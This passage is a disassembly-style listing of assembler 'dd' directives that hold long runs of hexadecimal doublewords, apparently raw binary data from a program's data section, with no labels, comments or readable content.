		dd 0E9E30008h, 476BD0ABh, 0A77602B3h, 3A827553h, 907D0D60h
		dd 3383C700h, 0EF126CB1h, 280800EEh, 0D1A1C803h, 150063ECh
		dd 9843E9ABh, 425A256h,	4951D68Ah, 0EA38C00Ah, 900033D8h
		dd 8C916183h, 98EBDFh, 6CE3F377h, 724A5E1Bh, 2F8155Ch
		dd 0AF6B0DA6h, 5DAE00D4h, 27034111h, 853C775Eh,	73A28830h
		dd 7437384h, 0EFE702D1h, 8D36308Bh, 0DA0029B9h,	43C197Bh
		dd 0B93FED2h, 1B5528A3h, 74A04480h, 0B5EC759Ch,	6500DA7Ah
		dd 1C462D58h, 0F01985Bh, 0DBAB5783h, 8D952E20h,	0DC00E707h
		dd 0E1F5393Dh, 0E0853A84h, 0EAF8A10Bh, 20BA20h,	0A5E0237Ch
		dd 0CB647F6Ch, 83E7CE00h, 1E8DD7DCh, 363F205h, 0A7FB2E5Fh
		dd 89808110h, 0FE2473EFh, 0D700ABB7h, 0EBB742Dh, 715000CBh
		dd 3CB59B43h, 0CC001744h, 1424910Ah, 5AE2366h, 0C0AD1F4Bh
		dd 60DC004Eh, 84B58E10h, 101B6E8h, 8A3C6C6Eh, 1421FB58h
		dd 1C145FC4h, 260C95h, 4B10ADE8h, 0FC00E29Eh, 8C0FD773h
		dd 0DAA719h, 8A9A866Ch,	3A041D5h, 6D2CE00h, 0BEBF6070h
		dd 0B6800287h, 0B3898E9Dh, 0E5478CE0h, 5C99BB01h, 0B8E89320h
		dd 0A0EA33FCh, 7CBC4CC3h, 8ABF0E90h, 0D0431926h, 74B0B8F8h
		dd 5E0E10AAh, 0D9F3646h, 0C0C21AACh, 1C6B9E19h,	2A05A69h
		dd 0D26E55C3h, 4E7B6460h, 5D33200h, 8797E3D8h, 0A09200FFh
		dd 3D1DE199h, 96001C20h, 0C883B28Eh, 0E49F3F75h, 0A7C40F7Bh
		dd 0A9891A14h, 12BC9C80h, 6BB88CADh, 8F091B00h,	60E7FF79h
		dd 455F0030h, 39C847ABh, 5E005068h, 3A08A0D9h, 0B201B7h
		dd 19F5119Ch, 415D6E09h, 0BB99E51Eh, 4C005996h,	5A573A2Fh
		dd 6D981Bh, 6D5306DEh, 2ED0EAEBh, 0F2ACBA03h, 0EAF8D6CCh
		dd 66CC80E9h, 32FEB65h,	1F8DFB92h, 18002AAAh, 3B4398F0h
		dd 4AD7797h, 3D803755h,	1DBCC00Dh, 931FF7E4h, 0B68046B9h
		dd 3B89D63Ah, 2FC201A1h, 0A2EFB1Bh, 0CD5DD45Ch,	6FE82100h
		dd 0D6D13C02h, 45343BF3h, 7C0D2607h, 8720AFA7h,	0C77D06A3h
		dd 9AB5C400h, 885AE11Ah, 96752Ah, 1663732Dh, 44948A1h
		dd 0C0646C01h, 358701EDh, 38E62C20h, 5D80A6ADh,	6236327Fh
		dd 57F5085h, 8B9DD804h,	68C77ECFh, 0AF3153E1h, 1EC4E5C4h
		dd 0DD7C3Bh, 0BC89251Fh, 0B90002D6h, 0B37886F6h, 3DF1D0C8h
		dd 49008CEEh, 0D3BE4F31h, 0F65810D1h, 0FC2E00C0h, 8199A905h
		dd 77CF00EFh, 0DA6840DEh, 0DB000B53h, 0FF9F344Bh, 23BA02h
		dd 0B4821A5Fh, 4AE5FC85h, 3F692200h, 3831E8A9h,	129A00BDh
		dd 907FDB07h, 0E54BB46Eh, 1843828h, 43A2D587h, 0F83B0847h
		dd 3C0A466Dh, 0CCDA710Bh, 0BC0CD701h, 0EC3CA35Ah, 24432807h
		dd 0FF738319h, 4D323E88h, 45B8AB00h, 952C1435h,	109A00D8h
		dd 5CFD8555h, 0E803CF89h, 0B16C5F9Ch, 0D7E0D83Bh, 0DC2B4CACh
		dd 0B800EE48h, 75937BCBh, 0FA077890h, 2B204F72h, 0F7E80AC0h
		dd 0FEAE0073h, 0E6EB858Bh, 0D0E5366h, 274A9A12h, 3BC0DAFAh
		dd 0A3FBF6h, 7A426157h,	6EF5945Eh, 80EA4418h, 7A22883Ah
		dd 278C0064h, 0E69BDC0h, 0DF0FCC65h, 803AB4CAh,	7BA4A947h
		dd 30E603ABh, 0C197C0DEh
		dd 6DEA8A90h, 0E701C500h, 25B19BE9h, 1C9C1CDBh,	0A65540AEh
		dd 1F026411h, 0FBF9F300h, 0E7A0B0CEh, 0FBC848CCh, 40A4F61Ch
		dd 0AAA8C550h, 563E5ED8h, 7278DD44h, 0F8F12E00h, 546F2A71h
		dd 0D75513FBh, 0A33300C3h, 1F5E56A2h, 0E4140500h, 348C26B2h
		dd 6D93001Eh, 0C17DFD4Eh, 42395DF2h, 0DCC98289h, 404A2DE4h
		dd 251ECBDCh, 280288B3h, 0F9E05ACAh, 0D24DA715h, 201800B0h
		dd 42D37D7Ah, 0FC0500A0h, 2A8C692Bh, 910025ADh,	7AC2BA9Bh
		dd 2AFDA90h, 6C9781DCh,	8C408475h, 0D200134Eh, 0B1420AFDh
		dd 0B9E3EBh, 0AB6BE028h, 0F114F301h, 5E9CC500h,	88393217h
		dd 60DCFBEAh, 537213h, 0CA0BB163h, 0B29562CEh, 0B6653401h
		dd 595BF8ECh, 5F4CCh, 0AE26D524h, 0CEFC44E4h, 0E96FA00h
		dd 6C4D2C9Fh, 65B70743h, 300545A4h, 87FC1947h, 0EA3D2B1Dh
		dd 54B522C1h, 9FC47594h, 0E0D81778h, 0DF080F5h,	0CB00EAD1h
		dd 0DB1B1027h, 2D262331h, 0C8755E8h, 0F5FD7068h, 86F2CD5Fh
		dd 8A87200h, 61FA0AF3h,	161A0781h, 0A015A56Dh, 52174D36h
		dd 40E86E51h, 9F1BB9A5h, 0AB28A195h, 0FC8CCF4h,	633428E0h
		dd 2C7600FCh, 17778A47h, 22971D26h, 80EF6EE8h, 0CCB4251Ch
		dd 5C1E007Ch, 2E591BCBh, 0CD002666h, 119B77F3h,	74F79E29h
		dd 68C2182Bh, 0E8F58F2h, 0F47D8C00h, 0F7ACDC4Ch, 0E7EB30F8h
		dd 54D4C160h, 0A9F43076h, 28BC370Fh, 3480D22Bh,	1ABA6B80h
		dd 38E90A54h, 330084F2h, 22A88312h, 3CD1782Bh, 0DD07FA69h
		dd 60D9518Ah, 6A472A3Bh, 0F2BBBA00h, 8E6BE7D5h,	15D20F49h
		dd 132FF40Dh, 4EDACD80h, 7200EA80h, 9ABA1623h, 910407h
		dd 0BE13D2F3h, 0CAD85F0Bh, 0F976B600h, 3A719503h, 2E62F610h
		dd 0CB702Fh, 0F8BAEC12h, 110121E0h, 908BCFB1h, 0A02AD1FBh
		dd 3A00E587h, 7AF65181h, 534AAh, 0F29E9088h, 0CE25D42Ah
		dd 0A8005878h, 0EEB77F16h, 3D6546CFh, 0C80068Ah, 0DBBB82B1h
		dd 92B030DFh, 0C305ED78h, 2DEFBAAEh, 0E00A05C1h, 6B28402Eh
		dd 7D28E59Dh, 8F00ADEAh, 0FA67C569h, 34F461Ah, 7B04C090h
		dd 0F9F01454h, 39C0AB74h, 0F2B5E913h, 9210C10Bh, 0F0F0B0A6h
		dd 0C4A84D78h, 0CBF0816Fh, 0FA309000h, 12569A62h, 0C820045h
		dd 447DD386h, 8815B798h, 0D4CE97h, 0CD0459DAh, 824A18h
		dd 986A0BCFh, 1B2690F2h, 0AFBDD017h, 80703807h,	0E64D2A50h
		dd 0B99A0FE9h, 2B04492Fh, 74CD80E5h, 0F927889Fh, 268684Eh
		dd 2AA500D7h, 0E3668FE9h, 6F0089A2h, 72CE04B6h,	0C14183CFh
		dd 17BBD1B9h, 98EC701Ah, 7701DFE0h, 91E90525h, 9DE0F901h
		dd 100200F7h, 5B61C965h, 8CA8306Ah, 7E244FB8h, 7B8F84D3h
		dd 0C0A3EF34h, 79CACE2Ch, 0B5898C5h, 9C9176BBh,	62D4D5E0h
		dd 0CF83CC0Ch, 0B863889h, 6F0CC75Bh, 99641000h,	0DA0093A6h
		dd 36024951h, 31949Ch, 5FA28744h, 3DE9AFE8h, 540B710Dh
		dd 0B9001826h, 975841h,	0F589082Fh, 520968BCh, 0B73C3C7Ch
		dd 0DC6B0FF0h, 0F1801F56h, 1F68F6C8h, 50260081h, 0D23190E7h
		dd 2918B385h, 41188773h, 3DE9EC78h, 3B0890Bh, 0BBFC8268h
		dd 0EA67400Eh, 0C6A92039h, 0CCF4814h, 3308626h,	83006018h
		dd 4DEB635h, 0F07CAF27h, 0C33B3CD0h, 60BBB506h,	37002871h
		dd 88D2118Fh, 30E626B4h, 241804A4h, 89EEF0CEh, 79180F32h
		dd 49C26h, 5C8C1C20h, 6D9D28F9h, 0A41F1770h, 8B02C931h
		dd 0C0C1D354h, 87C878h,	23106DACh, 1B2E31B5h, 8041B239h
		dd 0CA29BD01h, 0F5DA828h, 318F2744h, 690E9F26h,	7D476200h
		dd 7045F02Fh, 7201338Bh, 21007408h, 6A7D6F43h, 16FE83h
		dd 0E71DC804h, 442B407Ah, 32293718h, 12C06B1h, 1088B842h
		dd 98B10EEBh, 66212E09h, 0DD420034h, 0A1BB28E4h, 0E9C071A9h
		dd 3CFF4813h, 0D805008Dh, 0B7DBB591h, 0AC006AE7h, 25815F21h
		dd 12BD4477h, 224A4B0h,	374D8204h, 5DF861F5h, 9800C044h
		dd 0F562B2ECh, 98D81847h, 0BB896050h, 0E002742Ah, 8F55DB08h
		dd 2A8000C1h, 0AC83B2B9h, 87206E60h, 29342E9Eh,	0C220D932h
		dd 4328E7Ah, 0D4673484h, 28DA8242h, 113984B1h, 0F702F71h
		dd 66E300CAh, 50B7553Fh, 0D8C621CBh, 1293E29h, 0B2CD9863h
		dd 0F4E42324h, 8449138Ch, 0EF470774h, 10BC27D4h, 0CC091976h
		dd 91B44010h, 1E803990h, 20889A42h, 267C0087h, 9D6AFF42h
		dd 4E83CE00h, 96D1A51Ch, 5D040F8Dh, 23E09412h, 0BD87D237h
		dd 0DC3DA92Ah, 0CE106400h, 6D03B744h, 0CBBF3332h, 21006308h
		dd 9BCE38FBh, 0B5DC73h,	70CAD936h, 7E9F336Fh, 0F8003092h
		dd 994FE829h, 71B025h, 1FD3BDC3h, 0BC12E0B8h, 7D3AC800h
		dd 0ED8C654Dh, 0C89F4917h, 96811D80h, 9C928297h, 0F2BAE700h
		dd 124C7C2Ch, 4D043350h, 2104FB08h, 16F2B1C7h, 7204DC87h
		dd 3684E320h, 6B32DCE3h, 6C480171h, 0D1D00F0h, 1716875Ch
		dd 45920029h, 3724065Ah, 0A0A90910h, 0F719F465h, 9B2C8102h
		dd 0A01F7A91h, 5BB5929Ch, 18B48106h, 47CE0811h,	58C41BB7h
		dd 0CE39F643h, 9D7360F7h, 66E4CA0Ch, 8B9CFB18h,	0DE0783C9h
		dd 6F5008h, 673E6887h, 9960B3Ah, 1FC1D07Dh, 45404B00h
		dd 88A87A11h, 8B307227h, 0D685693Bh, 0FD4500D1h, 0F531F624h
		dd 7D4CF092h, 8A6B1800h, 0A02C26E1h, 869C61B4h,	27F2B907h
		dd 64E8B47Ch, 0B8C440EAh, 208BF2h, 0D64B1C0Eh, 0E19CAF9Ah
		dd 0F48F21C7h, 0A2F36A50h, 802800EBh, 18D573DFh, 813E5709h
		dd 646448F1h, 61676C78h, 0EA7C1EF2h, 0C910F931h, 0C806F2B3h
		dd 6FA8B458h, 0B97E00C1h, 0D17C0A47h, 242C1F4Dh, 7700CA89h
		dd 1479150Bh, 0AD500932h, 0A801ED0Fh, 33318E22h, 0C0B8A770h
		dd 9CDF755Dh, 0D1CC7754h, 1600D876h, 0FEB7EB5h,	28C092h
		dd 9ACCEF3Fh, 71430181h, 0C5164E00h, 0B67D08B7h, 90893411h
		dd 65D49882h, 55F0F4FDh, 4D7A448Ch, 427D6D03h, 0F0D1ABE7h
		dd 69F78CF5h, 0A884D086h, 0CAEF4707h, 0A2048FE3h, 0F670643Ah
		dd 198090D2h, 88394102h, 0E6571065h, 9389187h, 789DCF92h
		dd 0AD873A11h, 0A479EE3h, 80F72063h, 51E9F156h,	89769CDCh
		dd 8063D6A1h, 0CDE66509h, 0DAFD1E99h, 0F3884081h, 0BCC4EB21h
		dd 0D8E49337h, 601004E9h, 22F2A060h, 11BC7C23h,	0F2B240D0h
		dd 0C42AB800h, 8161E07Eh, 1CF400D7h, 0D1F91688h, 0B4915860h
		dd 5E961182h, 3FA440D8h, 7234157Dh, 262E9CBFh, 40F61238h
		dd 1663B298h, 88053E4Dh, 2D29D471h, 74A38043h, 800CDA58h
		dd 0DD4EC48Ah, 14050075h, 0EAC66392h, 0E807DBABh, 807A2C7Bh
		dd 676882A0h, 11FE24B1h, 8AA440C8h, 0A13E2F42h,	0EEE880B0h
		dd 837A365Ch, 645F4C0Ch, 894512Eh, 0EF163F3Bh, 1EDB1808h
		dd 0BC7549F3h, 182A2C11h, 237D7978h, 66116DF0h,	7D604800h
		dd 0D1076BFDh, 6FF3B101h, 0B29B6A9h, 3FCEE183h,	649B01C5h
		dd 0A3E1C0B0h, 0AEE0D8A3h, 264C9BB8h, 6D8115A4h, 0F2A580D4h
		dd 8C947C23h, 0EC8F644h, 99F4F2B4h, 48036DE9h, 0D931125Ch
		dd 960D0C0h, 602F24EEh,	232D7D79h, 601175F0h, 7D61C100h
		dd 0FBBA9358h, 78AAB819h, 8110DC60h, 0FD580BB5h, 67B7A2ACh
		dd 603B4408h, 487DC0h, 7FAD2D02h, 4AB0A4CCh, 88A26C02h
		dd 0C15638EBh, 11C81F64h, 287F3CF3h, 806F41E7h,	0F4502D58h
		dd 1D7C6501h, 39915CB8h, 90B08960h, 107A0338h, 759F0F56h
		dd 2776E103h, 0E0433283h, 9BF4F0Eh, 0B9DA30B8h,	882E3000h
		dd 8709703Dh, 1D20126Ah
		dd 81D311A0h, 0B12419E4h, 6DDF330h, 0EBFE95BDh,	8B76B93Fh
		dd 0D85B2C30h, 93E2F629h, 0D140294Ch, 464187Ah,	53E05578h
		dd 4C00B2EBh, 0AB123ACh, 16E8CE2Ch, 0FFAC3823h,	0CE3439h
		dd 5A645E3Bh, 6920346h,	0D758F497h, 6B16A020h, 142E7h
		dd 76B8838Ah, 2418C8ACh, 12B42859h, 60364428h, 0A1422104h
		dd 80B88826h, 75297F70h, 72F50042h, 6BA5C1D5h, 5C047718h
		dd 0FC43B5BFh, 0E058348Bh, 8C3BB8h, 936AE34Fh, 20C8A136h
		dd 618CA900h, 50B09CB5h, 9DFC04EBh, 8B8F0DF6h, 0C065C898h
		dd 92185CD1h, 73F523Bh,	8A30B1ACh, 64D48E30h, 0C48CA739h
		dd 0D3C6603Bh, 0D11901FBh, 0F604DD05h, 715836E1h, 0F95F8409h
		dd 8FF86156h, 74F28C62h, 72975F30h, 64FF49F3h, 0D688200Eh
		dd 0CE845A01h, 0C8F041DFh, 7E5C0067h, 0D248A4h,	3B6BEC10h
		dd 5F941049h, 74E87F2Eh, 0AB024046h, 570B50B7h,	56A2F481h
		dd 403462BAh, 0C0483585h, 1FF21C98h, 0F239D40h,	7C8AB321h
		dd 2DC924Dh, 17B42FD8h,	0B844F0FEh, 0F4BB3108h,	44C8217Eh
		dd 42226035h, 9188709Eh, 2A70C054h, 0A7000C42h,	0C10F9F29h
		dd 18592D15h, 0A989BB57h, 6C37EB7Ah, 0F3A56062h, 8CB76EC4h
		dd 68E3357Ch, 62A40019h, 889B2D2Fh, 696BBB72h, 91289718h
		dd 9C280D0h, 74DD5851h,	68C11766h, 0F90860E4h, 8A08A327h
		dd 719D7Dh, 96752387h, 4D00D088h, 10214A35h, 2ABF36Dh
		dd 0A8B32799h, 0D4A350A9h, 0B098F7C2h, 79C0FD9Ch, 8B40B862h
		dd 0FFD901CEh, 0A9135323h, 4318037h, 2B03D381h,	0EC470050h
		dd 7BA23451h, 0BF023727h, 6DD24617h, 5CB4A08Bh,	0E28A6982h
		dd 6B9F3044h, 0E5A29AA1h, 0FE187A00h, 32896A01h, 72EA1364h
		dd 0FFF00255h, 2849B77Bh, 0BC782C2Ch, 0C5018CEDh, 0E4F6AF2Ah
		dd 0A02D0B6Ch, 23B02BD7h, 0ACB600D0h, 719B7505h, 7DD23400h
		dd 393F9549h, 0E6EC0031h, 5C027BFDh, 8200DE6Ah,	7C01E9B7h
		dd 8B584Fh, 66248144h, 0AB1DDBA7h, 760680F8h, 0EDB83301h
		dd 0AEC40029h, 8D6B2F48h, 633353E9h, 58D908C5h,	48004021h
		dd 5E1968DEh, 6C0027DBh, 18EA7BE9h, 0E44FF6h, 7549A401h
		dd 0F138D42Bh, 3F58775Ch, 0E5980F7h, 306A8F97h,	0BA84006Bh
		dd 6F07B840h, 0D071D7E5h, 78835500h, 0DDE49102h, 18397482h
		dd 5853A5B7h, 42F46F7Ch, 80D91B09h, 0B02D06E5h,	21456008h
		dd 3D429A15h, 0D8AFF803h, 6ECE179h, 5C6F9548h, 0C603A8E6h
		dd 199D500Fh, 0DCB10088h, 6EAA2D0Ah, 519D00Ch, 0F30813FDh
		dd 0C72197h, 3FC83122h,	0F06018EFh, 7B6C4219h, 0F9A8000Ch
		dd 99EC7F70h, 8960193Bh, 176C2121h, 22D075Bh, 402CD0D1h
		dd 3F7E7A8Ah, 8D07B374h, 35AB9C0Ah, 0EC909407h,	90A79A60h
		dd 0AF3305A7h, 4155081Fh, 71FE84C0h, 0FEE9A648h, 0D200C822h
		dd 16822062h, 0E6F6527Fh, 34AA0024h, 76EB9BC1h,	0BF00A48Dh
		dd 494F8A2Fh, 3A08351h,	0E23A5070h, 0E83B1405h,	0F2B4D234h
		dd 3EE03343h, 88DF0763h, 0A1527802h, 4EB880B4h,	8083CC3Ah
		dd 2397D9Bh, 0E129600Ch, 185931Fh, 0F0742178h, 0D173C980h
		dd 0C22181EAh, 891D9338h, 1379EE4h, 6B8B86BBh, 207BF654h
		dd 0D5100518h, 8A00DFFBh, 57605B4Bh, 0B1F8F184h, 8F220704h
		dd 7088BF0Ah, 0A9048C2Ch, 0C56B0848h, 0A420C662h, 3248B1h
		dd 962E19D8h, 8D706377h, 7050C3FBh, 4A40025Ch, 0E5DB0022h
		dd 2636AD0Eh, 0D90A801Eh, 7CF1B46Fh, 351E4638h,	3178C893h
		dd 0C040E8C4h, 4D3D9336h, 9FBA0416h, 0A3D48F04h, 41998C92h
		dd 2D125000h, 30B5B560h, 0DD5A2203h, 64A0E3DFh,	6037F0C8h
		dd 230B48AAh, 0C711AD6Bh, 48B21F7Bh, 1DCF00AAh,	5781C975h
		dd 0FBB14D00h, 1B703F3Ch, 68A0D087h, 38CEDB8h, 0AEEC37F4h
		dd 0CFB04EDFh, 212472Eh, 1405C3FDh, 0D02F75FEh,	3607C723h
		dd 1C601AD2h, 14E040Ah,	0B2819524h, 0C8C08C53h,	0C7A10CBAh
		dd 0F652073h, 74550705h, 0DC01593Eh, 6A7E57Bh, 9808AC44h
		dd 48ABC036h, 0B5466B0Ah, 0AE00DA22h, 0E14748B3h, 35ED6E70h
		dd 6048FDE7h, 53CD0540h, 0E118F360h, 13705231h,	8E9416Dh
		dd 85C0B268h, 46D92042h, 4A2288h, 82429D12h, 686DED32h
		dd 0F6BBF113h, 0EE1B9804h, 22114814h, 9D10264h,	4EDBAFB6h
		dd 0BFF2144h, 9C933480h, 8673C978h, 0C1F644h, 0F9D2932Dh
		dd 4C6B1379h, 0D4627626h, 0EB94ED9Ch, 0C02D889Ch, 6B0948A8h
		dd 0E01CBD58h, 0D48B0A3h, 216DF0FFh, 5862EC58h,	50914B89h
		dd 48AC8039h, 8C9D6B2Dh, 0B4AF10E7h, 91100048h,	4BAD4E05h
		dd 360068FFh, 0DB61323Bh, 7509F8C5h, 78349031h,	184A0DAh
		dd 1E02860Ch, 39788693h, 10EC1974h, 9337C3h, 5433446Ch
		dd 226165ADh, 1D05E675h, 0D07C5FDBh, 0D8A0B002h, 44BC4787h
		dd 78A660DBh, 0E8261D8Ah, 615A467Eh, 54CB0D5h, 2C0A2278h
		dd 5160961Ah, 809189Eh,	46EAB2Dh, 52F2C4h, 0D50B2D6Eh
		dd 9900E822h, 4D868E0Ch, 0F7630938h, 38D95E8h, 57D8F085h
		dd 6805DC80h, 0E90D520Eh, 8CB6C488h, 1C428104h,	446268D9h
		dd 42991620h, 0B54504EAh, 8872D654h, 2800F650h,	0FD6FDD2Fh
		dd 1EA5F02h, 0B2D2884Eh, 80598EAFh, 0CFD6DF41h,	0E8B5D3D8h
		dd 0A431480Fh, 0AF80FD0Bh, 0CB551082h, 0A0E0B802h, 3A9570A8h
		dd 0A0B007h, 0DD5272EEh, 0C183A32Fh, 41AE4201h,	0A4977A54h
		dd 2C567730h, 26848D73h, 0DA467410h, 26E68F00h,	2CAB206h
		dd 553A6201h, 9F500E01h, 0B0CCC58h, 3C6EAC2Dh, 0C90F2C9Ch
		dd 0E08F2D04h, 72782756h, 0D8B760A5h, 0E8146FD8h, 608E091h
		dd 931B600Ch, 1217881h,	80C66474h, 0E1D443F0h, 808ABF00h
		dd 18CE88AEh, 7851602Eh, 7FB0EE3Bh, 6FDCF802h, 0C75F4CCBh
		dd 60EC6458h, 1EA91C2h,	0E2E60526h, 303C11B0h, 3688D20Ch
		dd 6DA00D1h, 97C0E6E3h,	7A008C37h, 22D3FDAFh, 9014E5EAh
		dd 0F4F07524h, 9D46007Eh, 74E1323Fh, 1C907582h,	813CA55Ch
		dd 0EE18098Dh, 716730h,	557512DEh, 0F561347h, 62B9A700h
		dd 0A4ED6A10h, 3CC7E51h, 705AD921h, 869872D3h, 3770B194h
		dd 8244A090h, 495605B5h, 0C02E8169h, 86876ED4h,	18C8A95Ch
		dd 0A8F1FA0Ch, 2FC50017h, 0C2135330h, 740D35C1h, 497D83D1h
		dd 72E8E1E2h, 8C93D020h, 0A82D0804h, 0F5621C6Eh, 2D00BD27h
		dd 1CFABE7Ch, 979E74Dh,	1C48B284h, 8150081Eh, 0CD14FE5Ch
		dd 7049C09h, 0D0546EA0h, 9C6A53C7h, 0E050F608h,	517E8B46h
		dd 26FAF500h, 0B2EA7D5Ch, 0ED78010Dh, 0C5621972h, 8FAC70EBh
		dd 0CD7602E5h, 0B510C0CCh, 780F1CBBh, 21A08AFCh, 5C06FE42h
		dd 0D0B88992h, 3343BB48h, 74260B78h, 0B2C47055h, 0F5F2D0A2h
		dd 0AADD30h, 0C31206AFh, 45798CA8h, 8001BF73h, 49F97389h
		dd 5C636294h, 1730C8A2h, 0CDE89Bh, 4187222Eh, 0AA6C6B38h
		dd 0A0283F5Ch, 5D394F8Ah, 0EDC208EFh, 9510FAB7h, 61D86FB9h
		dd 5C279180h, 4302B80Ch, 0BAFE4E1Dh, 6EECC0B6h,	40A48055h
		dd 0DF5EA0A8h, 4908BE0Fh, 1C57A0D8h, 20C6C2Dh, 80D753DCh
		dd 9C416B03h, 2F1B006Dh, 4A84192Ah, 73C31071h, 3046A240h
		dd 3D05C3EBh, 43D48622h, 4C1378D7h, 0C58BE06h, 0F5C3C4E5h
		dd 5490C18h, 0F2710298h, 4BA74321h, 1D3EA0BCh, 247A4DD8h
		dd 0C7A21864h, 230FC09Ch, 96FFD91Bh, 0A83A0781h, 613C623h
		dd 97256E01h, 9BF2779Ah, 1C81E0CCh, 27B577BFh, 0C053979h
		dd 63448DDCh, 30EDA210h
		dd 2300DBD1h, 0DD85C5B4h, 491856C1h, 0E1504CF9h, 0F30A38F8h
		dd 0FED92380h, 0BE31D73Ah, 1E53F3Bh, 0DE1FCD06h, 0A876807Bh
		dd 28B4ABF0h, 6D3F9312h, 2002C4C8h, 3E01D011h, 0D56E1339h
		dd 0D052F927h, 0F7B020F1h, 7100BFB1h, 0E29B4933h, 3C59D9Ah
		dd 0CC3E29DEh, 0C9008318h, 0E73CA524h, 9482A250h, 63A06EE0h
		dd 3C5E3528h, 7E25B600h, 8FB022FBh, 48F51726h, 2D304044h
		dd 3A372A4Ah, 40B1E424h, 35429CC0h, 80B043D9h, 0D42940Fh
		dd 5A660238h, 713ED6Eh,	0BA54E100h, 0BC678256h,	3460F944h
		dd 3F1378ECh, 3C02CAB4h, 0E2D56A08h, 0E31C60E6h, 1FB24A4Ch
		dd 241DE750h, 5D8CDF11h, 15284182h, 0A74898C7h,	45921AECh
		dd 0E41465B9h, 948860F2h, 14EC9324h, 0B423AC33h, 1A428701h
		dd 4B1878D9h, 39F1488h,	0CA2F8442h, 0F680F705h,	3803AF0Dh
		dd 626CD5CFh, 0B0E8E063h, 1A9513C7h, 231C2F3Ah,	52C40147h
		dd 3C860384h, 904DC08h,	0C08EB849h, 1A010523h, 19788293h
		dd 0C788E918h, 0E5930033h, 0E8717ACAh, 3091AD0Eh, 0F8184AD1h
		dd 0E953C501h, 0E03A7F08h, 0E9E36830h, 4210B02Dh, 8D6F0654h
		dd 8C18F423h, 54C77FC0h, 138FCDEh, 95B0432h, 0F0BA16DDh
		dd 0DB002C5Ch, 4A8A3668h, 0B824CC5Dh, 52B00C71h, 7E39EAB9h
		dd 86FBC00h, 64063972h,	9AE601D0h, 1453EB91h, 0B2A04C4Fh
		dd 0BD12339h, 302E48D3h, 78D93734h, 2889625Fh, 2C677CAEh
		dd 0B180716Eh, 0BE9D5788h, 0E4257D04h, 121619DAh, 0B00892DBh
		dd 16429B30h, 8B98D91Eh, 931000CCh, 6A9B1F42h, 0C0350FEh
		dd 0A870783Eh, 92EE19E8h, 58E30074h, 2414811Eh,	976212AAh
		dd 20DFCDE9h, 0EB4C3FDBh, 20282D89h, 5956A518h,	0A600F41Eh
		dd 0E75C298h, 0D4CA5572h, 43BC94B9h, 985778Ch, 3AB57A3Eh
		dd 43C48465h, 6FBD6260h, 74914CF8h, 4018F5F1h, 6579D80Ch
		dd 0F3FFC8C2h, 0B18186Ch, 0E63C2904h, 0AC282009h, 0E04C8A1Fh
		dd 271ECF03h, 0F03A8078h, 5A4F3A77h, 0F79C7D28h, 96CEE9D8h
		dd 0AD189D38h, 0E9915C1Dh, 0F41DF981h, 72F02EDFh, 40DD5829h
		dd 0D5443F83h, 0D102EFEAh, 27630001h, 123C7EDEh, 0BC50CB2h
		dd 16B320D8h, 88503684h, 8482F2F4h, 0AF623264h,	956B8040h
		dd 0AAC1DCB9h, 0E6F848B7h, 0F6E32434h, 59040B42h, 5732DC82h
		dd 0C7D56F00h, 0C2CF83E5h, 0D8E8941Dh, 7C09E313h, 0A1EB493Ah
		dd 48CB3F54h, 90D83407h, 0F5F49754h, 2054D12Dh,	95245ACCh
		dd 0DC913C88h, 0D0146F05h, 0E464C2FDh, 48808521h, 0D8269432h
		dd 20EC1DA0h, 3C0016B0h, 0DE643389h, 92DB9D0Eh,	34E0528h
		dd 0CEA653FEh, 0C0DF888Ch, 5279FC67h, 14DC6959h, 96F0563Eh
		dd 837FC404h, 0EDF234E2h, 0A08F30h, 0FCDE887h, 0F8475A1Eh
		dd 40ED792Eh, 1027DC89h, 1F6A7C7Ch, 0DE30B3h, 0E35ABFE7h
		dd 842FBDC7h, 0CF048002h, 18237Eh, 31E96087h, 529D345h
		dd 0FA24C501h, 33FD527Bh, 57DC4083h, 58094901h,	8D3ABDAh
		dd 5509C884h, 0E490E528h, 1BCB60DFh, 78080188h,	7A9011A0h
		dd 8AD1F96Ah, 0A874B8C8h, 915497A7h, 0B7685E0h,	91D0C8h
		dd 4942DCD3h, 6523EEEh,	80A119C9h, 381711ECh, 2F834A31h
		dd 7E82348h, 50E74458h,	0B947CAA8h, 4B89D760h, 772CA602h
		dd 32210008h, 0C3D9BF24h, 94FFE93h, 0A7450C1Fh,	0A0084155h
		dd 2D2EC099h, 2C4F6EAEh, 13C3642Ch, 2ED2D06h, 6EFEB093h
		dd 2F75C464h, 71570C00h, 353A8283h, 7F4F80C7h, 0ED07F804h
		dd 0C080E21Bh, 2DE95E4h, 3D7A9CFFh, 24583BE8h, 631014BEh
		dd 1DED7100h, 0E155CB50h, 8203201h, 739E4C6Dh, 237C2081h
		dd 4F38B1D9h, 5F801120h, 6E9AFC85h, 1B3100B4h, 5404F3AAh
		dd 61E6251Dh, 0F0008044h, 9563FA51h, 705FD81h, 6617F5C1h
		dd 0D29E004Eh, 0B4A030F7h, 0B30A51Dh, 6DF259F8h, 83A900A3h
		dd 0EA3DFBFAh, 5512101Dh, 708B0F40h, 66C0E088h,	1732037h
		dd 9ABDCAACh, 0E2ED6E4Eh, 0C42260E9h, 0E025BBF9h, 7C58481Ah
		dd 71B4B0A8h, 76509462h, 0C80EDF46h, 0C3008239h, 7A861FD2h
		dd 0EFA95216h, 22D5C30h, 7B07440Ch, 0FB66B90Fh,	0C0C033B0h
		dd 588A8F22h, 534E64C7h, 3A685680h, 146233Ch, 55269212h
		dd 0DDAFF870h, 220428B1h, 86F9DBh, 2EB34658h, 0D90A5886h
		dd 48442CA0h, 429E1140h, 0DB00B1EBh, 0FBCCDCBCh, 4C38027Bh
		dd 2842502Ch, 0F93045E2h, 20BC4E3Ch, 86440520h,	4BCA9A07h
		dd 0C0EE1666h, 0A187C7FFh, 0F0EE00BAh, 7DB60C6h, 0E099EF90h
		dd 0C218ECD1h, 0A5D00D00h, 0ADFE7E08h, 2D400E75h, 9F4B2236h
		dd 5E02ACABh, 9C90FBE3h, 0A312573Bh, 44B213F3h,	0A4961D7Ah
		dd 701B4008h, 0D5248259h, 126A933Ch, 0F7005A0Bh, 94C58F7Bh
		dd 815430C9h, 74E1A4B0h, 0DDE025FFh, 7988503Dh,	7A77B106h
		dd 0D5D07807h, 0B63D6h,	0A545591h, 1A30C04Bh, 5DC347DDh
		dd 34CE5F4Ah, 37C0E988h, 581F619Eh, 0A026843Fh,	4097270Ch
		dd 3089F891h, 881BB007h, 0E84E104h, 0B17414ACh,	18F87948h
		dd 0A3700633h, 1884A60Bh, 3440195Bh, 92F7D121h,	0A7F8C045h
